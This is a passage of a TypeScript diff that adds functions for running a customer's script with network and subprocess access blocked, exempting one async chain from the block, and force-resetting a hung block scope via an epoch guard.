same abandoned-scope-corrupts-a-newer-one race as `local-execution.ts` and `env-guard.ts` — see `execution-epoch.ts`. +const blockEpoch = createEpochGuard(); + +// Runs `fn` with network/subprocess access blocked; wraps the customer's function body in `local-execution.ts`'s `runScriptLocally`. +export async function runBlocked(fn: () => Promise): Promise { + const scope = blockEpoch.start(); + try { + return await blockedContext.run(true, fn); + } finally { + scope.concludeIfCurrent(); + } +} + +// Exempts `fn`'s own async chain (not siblings) from an active `runBlocked` scope; no-ops if that scope was already abandoned via `forceReset`. +export async function runAllowed(fn: () => Promise): Promise { + if (!blockEpoch.hasActiveScope()) { + return fn(); + } + return allowedContext.run(true, fn); +} + +// Invalidates the active block scope independently of runBlocked's own try/finally, since a hung customer function would otherwise leave it blocked forever. +export function forceReset(): void { + blockEpoch.forceInvalidate(); +}